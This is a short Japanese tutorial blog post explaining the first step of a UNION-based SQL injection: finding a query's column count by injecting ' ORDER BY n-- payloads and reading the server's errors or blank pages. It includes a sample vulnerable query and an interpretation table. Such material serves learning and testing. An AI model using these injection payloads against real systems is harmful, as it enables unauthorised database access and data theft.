Shikata Ga Nai

Private? There is no such things.

SQLインジェクション(UNION攻撃)の準備:カラム数の特定方法

Hello there, ('ω')ノ

🎯 目的

UNIONベースのSQLインジェクションを行うためには、まず:

元のSQLクエリが返すカラム(列)の数を特定する

ことが不可欠です。


✅ カラム数特定の方法:ORDER BYを使う

ORDER BY句を使って、カラム番号を1つずつ増やしながらサーバーの反応を見るという手法が効果的です。

🔁 手順

次のようなペイロードを順番に試していきます:

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...

🔍 目的

  • クエリ内のソート対象に存在しないカラム番号を指定すると、SQLエラーが返る
  • その直前の番号が正しいカラム数である

🧪 例:3カラムのクエリに対して

SELECT id, username, email FROM users WHERE username = '$input'

試すペイロードと反応

ペイロード サーバーの反応 解釈
' ORDER BY 1-- 正常にページが表示される カラム1は存在
' ORDER BY 2-- 正常にページが表示される カラム2も存在
' ORDER BY 3-- 正常にページが表示される カラム3も存在
' ORDER BY 4-- エラーまたは空ページ → カラム数は「3」

🧠 判定方法のポイント

状況 判断の目安
明示的にDBエラー表示 カラム数が直接わかる
サーバーエラー(500など) カラム数を超えた
空白ページや別ページ遷移 結果なし=カラム数を超えた可能性

✅ 注意点

  • --はSQLでコメントアウトを意味し、それ以降のSQLを無視させます
  • '"の使い方はインジェクション位置の構文に依存します(例:' ORDER BY 1--" ORDER BY 1--
  • カラム数が確定できれば、次に**UNION SELECTによるデータ抽出**が可能になります

Best regards, (^^ゞ